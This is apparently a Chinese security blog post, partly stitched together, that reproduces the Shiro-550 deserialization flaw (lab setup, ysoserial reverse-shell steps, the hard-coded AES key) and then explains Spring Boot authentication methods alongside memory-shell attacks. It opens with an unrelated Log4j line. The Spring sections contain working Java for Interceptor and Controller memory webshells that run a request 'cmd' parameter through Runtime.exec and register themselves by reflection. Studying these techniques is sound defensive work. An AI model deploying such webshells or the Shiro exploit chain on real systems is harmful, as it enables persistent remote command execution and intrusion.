Log4j 2.x 的 lookup 功能允许在日志内容中嵌入 ${prefix:name} 格式的动态表达式,例如读取系统信息:
Shiro550漏洞复现
Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。
漏洞复现
利用条件:Shiro<1.2.4
环境搭建
docker pull medicean/vulapps:s_shiro_1
访问8080端口,进入页面,点击登录,登录成功并抓包。
生成反弹shell payload,先在攻击机启用端口监听:
构造反弹shell payload并base64加密。
启动yso生成攻击,将shell代码填入,选择cc2链,导出shiro550payloaad。
发送payload,成功反弹shell。
漏洞成因
先打开shiro1.2.3这个依赖,idea右键添加为库,就可以解包查看代码。全局搜索rememberMe,找到RememberMeManager
CTRL+H查看谁引用了这个方法,看到CookieRememberMeManager引用了主方法,点击进去。
这段代码是 Apache Shiro 1.2.4 的 CookieRememberMeManager
类,它继承自 AbstractRememberMeManager
,专门用于在 Web 环境 下通过 Cookie 实现 RememberMe(记住我) 功能。
存储用户身份(rememberSerializedIdentity
)
protected void rememberSerializedIdentity(Subject subject, byte[] serialized) {
if (!WebUtils.isHttp(subject)) return; // 非 HTTP 请求直接忽略
HttpServletRequest request = WebUtils.getHttpRequest(subject);
HttpServletResponse response = WebUtils.getHttpResponse(subject);
String base64 = Base64.encodeToString(serialized); // 加密后的数据转 Base64
Cookie cookie = new SimpleCookie(this.getCookie()); // 复制模板 Cookie
cookie.setValue(base64); // 设置 Cookie 值
cookie.saveTo(request, response); // 写入响应
}
流程:
检查是否是 HTTP 请求(
WebUtils.isHttp
)。获取
HttpServletRequest
和HttpServletResponse
。将加密后的身份数据(
byte[]
)转为 Base64 字符串。创建一个新的 Cookie(基于模板),并设置值为 Base64 数据。
通过
cookie.saveTo()
将 Cookie 写入 HTTP 响应。
读取用户身份(getRememberedSerializedIdentity
)
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
if (!WebUtils.isHttp(subjectContext)) return null; // 非 HTTP 请求忽略
WebSubjectContext wsc = (WebSubjectContext) subjectContext;
if (this.isIdentityRemoved(wsc)) return null; // 检查是否已手动清除身份
HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);
String base64 = this.getCookie().readValue(request, response); // 读取 Cookie 值
if ("deleteMe".equals(base64)) return null; // 特殊标记,表示清除 Cookie
if (base64 != null) {
base64 = this.ensurePadding(base64); // 补全 Base64 填充(=)
byte[] decoded = Base64.decode(base64); // Base64 解码
return decoded; // 返回解密前的数据(后续会解密 + 反序列化)
}
return null;
}
通过这个代码发现:
检查是否是 HTTP 请求。
检查是否已手动清除身份(
isIdentityRemoved
)。从请求中读取
rememberMe
Cookie 的值。如果值是
"deleteMe"
,表示要清除身份。否则,补全 Base64 填充(
=
)并解码为byte[]
。返回的数据会交给父类
AbstractRememberMeManager
解密 + 反序列化。
那么我们就进入到AbstractRememberMeManager类中去。
发现默认编码key kPH+bIxk5D2deZiIxcaaaA==
这段代码是 Apache Shiro 1.2.3 的 AbstractRememberMeManager 类,负责 RememberMe(记住我) 功能的实现。它使用 AES 加密 存储用户身份信息(如用户名、角色等),并在用户下次访问时自动恢复登录状态。
初始化(构造函数)
public AbstractRememberMeManager() {
this.setCipherKey(DEFAULT_CIPHER_KEY_BYTES); // 默认密钥: kPH+bIxk5D2deZiIxcaaaA==
}
硬编码 AES 密钥:
kPH+bIxk5D2deZiIxcaaaA==
(Base64 解码后作为密钥)。漏洞根源:密钥固定,攻击者可伪造恶意 Cookie。
发现这个文件中引用了getRememberedSerializedIdentity,查看代码
if (bytes != null && bytes.length > 0) {
principals = this.convertBytesToPrincipals(bytes, subjectContext);
}
判定生效的话会进入convertBytesToPrincipals方法,bytes就是传入的加密字符串。
在这个方法中引用decrypt解密操作,进入decrypt方法。
看到相关解密代码,解密AES代码,解密后将字节数组反序列化为 Java 对象。
解密 + 反序列化(convertBytesToPrincipals
)
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
bytes = this.decrypt(bytes); // AES 解密
return this.deserialize(bytes); // 反序列化
}
decrypt()
:用相同密钥解密数据。
deserialize()
:将字节数组反序列化为 Java 对象(关键漏洞点!)。
总结
SHIRO-550 反序列化漏洞:shiro默认使用了CookieRememberMeManager,
其处理cookie的流程是:得到rememberMe的cookie值-->Base64解码-->AES解
密-->反序列化。AES的密钥是硬编码在代码里,就导致了反序列化的RCE漏洞。
SHIRO-721反序列化漏洞:不需要key,利用PaddingOracle Attack构造出
RememberMe字段后段的值结合合法的RememberMe cookie即可完成攻击。
不出网
定位Web目录写入文件
构造回显
内存马
时间延迟获取Web路径写入webshell
有key无链
JRMP协议探测漏洞(需有可用key 可用JRMPClient 可绕过WAF)
SpringBoot 项目鉴权的 4 种方式与内存马技术
前言
在 Spring Boot 应用中,我们有多种方式可以实现用户认证和鉴权。本文将详细介绍四种常用的鉴权实现方式:传统 AOP、拦截器 (Interceptor)、参数解析器 (ArgumentResolver) 和过滤器 (Filter),并结合内存马技术进行分析,特别是 Interceptor 内存马和 Controller 内存马。
传统 AOP
实现:AOP (面向切面编程) 允许我们在方法执行前后添加自定义逻辑,非常适合实现权限校验。
// 1. 创建权限注解
@Target({ElementType.METHOD, ElementType.TYPE})
@Retention(RetentionPolicy.RUNTIME)
public @interface RequiresAuth {
String value() default "";
String[] roles() default {};
boolean requireLogin() default true;
}
// 2. 实现 AOP 切面
@Aspect
@Component
public class AuthAspect {
@Autowired
private TokenService tokenService;
@Autowired
private UserService userService;
@Before("@annotation(requiresAuth)")
public void checkAuth(JoinPoint joinPoint, RequiresAuth requiresAuth) {
// 获取请求上下文
ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
HttpServletRequest request = attributes.getRequest();
// 获取 token
String token = request.getHeader("Authorization");
if (requiresAuth.requireLogin()) {
if (token == null || token.isEmpty()) {
throw new UnauthorizedException("未提供认证信息");
}
// 验证 token
UserInfo userInfo = tokenService.validateToken(token);
if (userInfo == null) {
throw new UnauthorizedException("认证信息无效");
}
// 检查角色权限
String[] requiredRoles = requiresAuth.roles();
if (requiredRoles.length > 0) {
boolean hasRole = false;
for (String role : requiredRoles) {
if (userService.hasRole(userInfo.getId(), role)) {
hasRole = true;
break;
}
}
if (!hasRole) {
throw new ForbiddenException("权限不足");
}
}
// 将用户信息存入请求属性
request.setAttribute("userInfo", userInfo);
}
}
}
// 3. 使用注解
@RestController
@RequestMapping("/api")
public class UserController {
@GetMapping("/public")
public String publicEndpoint() {
return "这是公开接口";
}
@RequiresAuth
@GetMapping("/user")
public String userEndpoint() {
return "这是需要认证的接口";
}
@RequiresAuth(roles = {"ADMIN"})
@GetMapping("/admin")
public String adminEndpoint() {
return "这是需要管理员权限的接口";
}
@RequiresAuth(roles = {"USER", "EDITOR"}, value = "hasAnyRole('USER', 'EDITOR')")
@GetMapping("/content")
public String contentEndpoint() {
return "这是需要用户或编辑权限的接口";
}
}
// 4. 异常处理
@RestControllerAdvice
public class GlobalExceptionHandler {
@ExceptionHandler(UnauthorizedException.class)
@ResponseStatus(HttpStatus.UNAUTHORIZED)
public ResponseEntity<String> handleUnauthorized(UnauthorizedException ex) {
return ResponseEntity.status(HttpStatus.UNAUTHORIZED).body(ex.getMessage());
}
@ExceptionHandler(ForbiddenException.class)
@ResponseStatus(HttpStatus.FORBIDDEN)
public ResponseEntity<String> handleForbidden(ForbiddenException ex) {
return ResponseEntity.status(HttpStatus.FORBIDDEN).body(ex.getMessage());
}
}
扩展
AOP 方式的扩展性很强,可以:
支持更复杂的权限表达式
结合 SpEL 表达式实现动态权限判断
自定义异常处理
记录详细的权限审计日志
// 扩展 AOP 支持 SpEL 表达式
@Component
public class SecurityExpressionEvaluator {
@Autowired
private UserService userService;
public boolean hasRole(String role) {
UserInfo userInfo = getCurrentUser();
return userInfo != null && userService.hasRole(userInfo.getId(), role);
}
public boolean hasAnyRole(String... roles) {
UserInfo userInfo = getCurrentUser();
if (userInfo == null) return false;
for (String role : roles) {
if (userService.hasRole(userInfo.getId(), role)) {
return true;
}
}
return false;
}
private UserInfo getCurrentUser() {
ServletRequestAttributes attributes = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
HttpServletRequest request = attributes.getRequest();
return (UserInfo) request.getAttribute("userInfo");
}
}
@Aspect
@Component
public class EnhancedAuthAspect {
@Autowired
private SecurityExpressionEvaluator expressionEvaluator;
@Autowired
private SpelExpressionParser parser;
@Before("@annotation(requiresAuth)")
public void checkAuth(JoinPoint joinPoint, RequiresAuth requiresAuth) {
// 基本验证逻辑...
// 评估 SpEL 表达式
String expression = requiresAuth.value();
if (expression != null && !expression.isEmpty()) {
Expression spelExpression = parser.parseExpression(expression);
StandardEvaluationContext context = new StandardEvaluationContext(expressionEvaluator);
Boolean result = spelExpression.getValue(context, Boolean.class);
if (result == null || !result) {
throw new ForbiddenException("权限表达式验证失败");
}
}
}
}
Interceptor (拦截器)
实现:拦截器工作在 Controller 方法调用前后,可以拦截请求并进行权限验证。
// 1. 创建拦截器
@Component
public class AuthInterceptor implements HandlerInterceptor {
@Autowired
private TokenService tokenService;
@Autowired
private UserService userService;
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
// 如果不是处理方法,则跳过
if (!(handler instanceof HandlerMethod)) {
return true;
}
HandlerMethod handlerMethod = (HandlerMethod) handler;
Method method = handlerMethod.getMethod();
// 检查是否需要权限验证
RequiresAuth requiresAuth = method.getAnnotation(RequiresAuth.class);
if (requiresAuth == null) {
// 也可以检查类级别的注解
requiresAuth = handlerMethod.getBeanType().getAnnotation(RequiresAuth.class);
if (requiresAuth == null) {
return true; // 不需要验证
}
}
// 获取 token
String token = request.getHeader("Authorization");
if (token == null || token.isEmpty()) {
response.setStatus(HttpServletResponse.SC_UNAUTHORIZED);
response.setContentType("application/json;charset=UTF-8");
response.getWriter().write("{\"message\":\"未提供认证信息\"}");
return false;
}
// 验证 token
UserInfo userInfo = tokenService.validateToken(token);
if (userInfo == null) {
response.setStatus(HttpServletResponse.SC_UNAUTHORIZED);
response.setContentType("application/json;charset=UTF-8");
response.getWriter().write("{\"message\":\"认证信息无效\"}");
return false;
}
// 检查角色权限
String[] requiredRoles = requiresAuth.roles();
if (requiredRoles.length > 0) {
boolean hasRole = false;
for (String role : requiredRoles) {
if (userService.hasRole(userInfo.getId(), role)) {
hasRole = true;
break;
}
}
if (!hasRole) {
response.setStatus(HttpServletResponse.SC_FORBIDDEN);
response.setContentType("application/json;charset=UTF-8");
response.getWriter().write("{\"message\":\"权限不足\"}");
return false;
}
}
// 将用户信息存入请求属性
request.setAttribute("userInfo", userInfo);
return true;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
// 请求处理后的逻辑,可以用于日志记录等
if (handler instanceof HandlerMethod) {
HandlerMethod handlerMethod = (HandlerMethod) handler;
log.info("请求处理完成: {}.{}",
handlerMethod.getBeanType().getSimpleName(),
handlerMethod.getMethod().getName());
}
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
// 请求完成后的逻辑,可以用于清理资源等
if (ex != null) {
log.error("请求处理异常", ex);
}
}
}
// 2. 注册拦截器
@Configuration
public class WebConfig implements WebMvcConfigurer {
@Autowired
private AuthInterceptor authInterceptor;
@Override
public void addInterceptors(InterceptorRegistry registry) {
registry.addInterceptor(authInterceptor)
.addPathPatterns("/api/**")
.excludePathPatterns("/api/public/**", "/login", "/error");
}
}
Interceptor 内存马
Interceptor 内存马是一种利用 Spring MVC 拦截器机制实现的内存型 WebShell,它通过动态注册恶意拦截器来实现持久化控制。
// 恶意拦截器示例
public class MaliciousInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String cmd = request.getParameter("cmd");
if (cmd != null) {
// 执行命令
Process process = Runtime.getRuntime().exec(cmd);
InputStream is = process.getInputStream();
byte[] bytes = new byte[1024];
int len;
while ((len = is.read(bytes)) != -1) {
response.getOutputStream().write(bytes, 0, len);
}
is.close();
response.getOutputStream().flush();
response.getOutputStream().close();
return false; // 终止请求处理
}
return true;
}
}
// 注入内存马的代码
public void injectInterceptorMemshell() {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder
.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 获取 RequestMappingHandlerMapping
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
// 获取 interceptors 字段
Field interceptorsField = ReflectionUtils.findField(mapping.getClass(), "adaptedInterceptors");
ReflectionUtils.makeAccessible(interceptorsField);
// 获取当前拦截器列表
List<HandlerInterceptor> interceptors = (List<HandlerInterceptor>) ReflectionUtils.getField(interceptorsField, mapping);
// 检查是否已存在恶意拦截器
for (HandlerInterceptor interceptor : interceptors) {
if (interceptor instanceof MaliciousInterceptor) {
return; // 已存在,不重复注入
}
}
// 添加恶意拦截器
interceptors.add(new MaliciousInterceptor());
System.out.println("Interceptor 内存马注入成功");
} catch (Exception e) {
e.printStackTrace();
}
}
ArgumentResolver (参数解析器)
实现:参数解析器可以将请求中的认证信息直接注入到控制器方法参数中,使用起来非常方便。
// 1. 创建用户信息注解
@Target(ElementType.PARAMETER)
@Retention(RetentionPolicy.RUNTIME)
public @interface CurrentUser {
boolean required() default true;
}
// 2. 创建用户信息类
@Data
@AllArgsConstructor
@NoArgsConstructor
public class UserInfo implements Serializable {
private Long id;
private String username;
private String email;
private List<String> roles;
private Date lastLoginTime;
private Map<String, Object> attributes;
public boolean hasRole(String role) {
return roles != null && roles.contains(role);
}
}
// 3. 创建参数解析器
@Component
public class CurrentUserArgumentResolver implements HandlerMethodArgumentResolver {
@Autowired
private TokenService tokenService;
@Override
public boolean supportsParameter(MethodParameter parameter) {
return parameter.hasParameterAnnotation(CurrentUser.class) &&
parameter.getParameterType().equals(UserInfo.class);
}
@Override
public Object resolveArgument(MethodParameter parameter,
ModelAndViewContainer mavContainer,
NativeWebRequest webRequest,
WebDataBinderFactory binderFactory) throws Exception {
HttpServletRequest request = webRequest.getNativeRequest(HttpServletRequest.class);
// 先从请求属性中查找用户信息(可能由拦截器设置)
UserInfo userInfo = (UserInfo) request.getAttribute("userInfo");
if (userInfo != null) {
return userInfo;
}
// 从请求中获取 token
String token = request.getHeader("Authorization");
if (token == null || token.isEmpty()) {
CurrentUser annotation = parameter.getParameterAnnotation(CurrentUser.class);
if (annotation != null && annotation.required()) {
throw new UnauthorizedException("未提供认证信息");
}
return null;
}
// 验证 token 并获取用户信息
userInfo = tokenService.validateToken(token);
if (userInfo == null) {
CurrentUser annotation = parameter.getParameterAnnotation(CurrentUser.class);
if (annotation != null && annotation.required()) {
throw new UnauthorizedException("认证信息无效");
}
return null;
}
// 将用户信息存入请求属性,避免重复验证
request.setAttribute("userInfo", userInfo);
return userInfo;
}
}
// 4. 注册参数解析器
@Configuration
public class WebConfig implements WebMvcConfigurer {
@Autowired
private CurrentUserArgumentResolver currentUserArgumentResolver;
@Override
public void addArgumentResolvers(List<HandlerMethodArgumentResolver> resolvers) {
resolvers.add(currentUserArgumentResolver);
}
}
// 5. 在控制器中使用
@RestController
@RequestMapping("/api")
public class UserController {
@GetMapping("/profile")
public ResponseEntity<UserInfo> getProfile(@CurrentUser UserInfo userInfo) {
return ResponseEntity.ok(userInfo);
}
@GetMapping("/optional-auth")
public ResponseEntity<String> optionalAuth(@CurrentUser(required = false) UserInfo userInfo) {
if (userInfo != null) {
return ResponseEntity.ok("已认证用户: " + userInfo.getUsername());
} else {
return ResponseEntity.ok("匿名用户");
}
}
@RequiresAuth(roles = {"ADMIN"})
@GetMapping("/admin/users")
public ResponseEntity<List<UserInfo>> getAllUsers(@CurrentUser UserInfo admin) {
// 业务逻辑
return ResponseEntity.ok(userService.getAllUsers());
}
}
Filter (过滤器)
实现:过滤器是 Servlet 规范的一部分,在请求到达 DispatcherServlet 之前执行,可以用于全局认证。
// 1. 创建认证过滤器
@Component
public class AuthFilter implements Filter {
@Autowired
private TokenService tokenService;
@Autowired
private ObjectMapper objectMapper;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
// 初始化逻辑
log.info("AuthFilter 初始化");
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
HttpServletRequest httpRequest = (HttpServletRequest) request;
HttpServletResponse httpResponse = (HttpServletResponse) response;
// 检查是否是公开路径
String path = httpRequest.getRequestURI();
if (isPublicPath(path)) {
chain.doFilter(request, response);
return;
}
// 获取 token
String token = httpRequest.getHeader("Authorization");
if (token == null || token.isEmpty()) {
sendUnauthorizedResponse(httpResponse, "未提供认证信息");
return;
}
// 验证 token
UserInfo userInfo = tokenService.validateToken(token);
if (userInfo == null) {
sendUnauthorizedResponse(httpResponse, "认证信息无效");
return;
}
// 将用户信息存入请求属性
httpRequest.setAttribute("userInfo", userInfo);
// 继续过滤器链
chain.doFilter(request, response);
}
@Override
public void destroy() {
// 销毁逻辑
log.info("AuthFilter 销毁");
}
private boolean isPublicPath(String path) {
return path.startsWith("/api/public") ||
path.equals("/login") ||
path.equals("/register") ||
path.equals("/error") ||
path.endsWith(".css") ||
path.endsWith(".js") ||
path.endsWith(".ico");
}
private void sendUnauthorizedResponse(HttpServletResponse response, String message) throws IOException {
response.setStatus(HttpServletResponse.SC_UNAUTHORIZED);
response.setContentType("application/json;charset=UTF-8");
Map<String, Object> result = new HashMap<>();
result.put("status", 401);
result.put("message", message);
result.put("timestamp", new Date());
response.getWriter().write(objectMapper.writeValueAsString(result));
}
}
// 2. 注册过滤器
@Configuration
public class FilterConfig {
@Bean
public FilterRegistrationBean<AuthFilter> authFilter(AuthFilter authFilter) {
FilterRegistrationBean<AuthFilter> registrationBean = new FilterRegistrationBean<>();
registrationBean.setFilter(authFilter);
registrationBean.addUrlPatterns("/*");
registrationBean.setOrder(Ordered.HIGHEST_PRECEDENCE + 10);
registrationBean.setName("authFilter");
return registrationBean;
}
}
Controller 内存马
Controller 内存马是通过动态注册 Controller 实现的内存型 WebShell,它利用 Spring MVC 的请求映射机制。
// 恶意 Controller 类
public class MaliciousController {
@RequestMapping("/shell")
public void shell(HttpServletRequest request, HttpServletResponse response) throws Exception {
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process process = Runtime.getRuntime().exec(cmd);
InputStream is = process.getInputStream();
byte[] bytes = new byte[1024];
int len;
while ((len = is.read(bytes)) != -1) {
response.getOutputStream().write(bytes, 0, len);
}
is.close();
response.getOutputStream().flush();
}
}
}
// 注入 Controller 内存马的代码
public void injectControllerMemshell() throws Exception {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder
.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 获取 RequestMappingHandlerMapping
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);
// 检查是否已经注册了恶意 Controller
Field handlerMethodsField = mapping.getClass().getDeclaredField("handlerMethods");
handlerMethodsField.setAccessible(true);
Map<RequestMappingInfo, HandlerMethod> handlerMethods = (Map<RequestMappingInfo, HandlerMethod>) handlerMethodsField.get(mapping);
for (RequestMappingInfo info : handlerMethods.keySet()) {
if (info.getPatternsCondition().getPatterns().contains("/shell")) {
return; // 已存在,不重复注入
}
}
// 创建恶意 Controller 实例
MaliciousController controller = new MaliciousController();
// 获取 Controller 中的方法
Method method = controller.getClass().getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
// 创建 RequestMappingInfo
RequestMappingInfo mappingInfo = RequestMappingInfo
.paths("/shell")
.methods(RequestMethod.GET)
.build();
// 注册 Controller
mapping.registerMapping(mappingInfo, controller, method);
System.out.println("Controller 内存马注入成功");
} catch (Exception e) {
e.printStackTrace();
}
}
小结
这四种鉴权方式在 Spring Boot 中的执行顺序为:
1. Filter (过滤器) - 最先执行,在请求到达 DispatcherServlet 之前
2. Interceptor (拦截器) - 在 Controller 方法调用前执行
3. ArgumentResolver (参数解析器) - 在方法参数绑定时执行
4. AOP (切面) - 在方法执行前后执行
内存马技术主要利用了 Spring 框架的动态性和反射机制:
- Interceptor 内存马:利用拦截器注册机制,可以拦截所有请求
- Controller 内存马:利用请求映射注册机制,创建隐蔽的控制入口
在实际应用中,应当结合多种鉴权方式构建深度防御体系,同时加强对框架动态特性的安全管控,防止内存马的注入和利用。
- 6
- 0
-
分享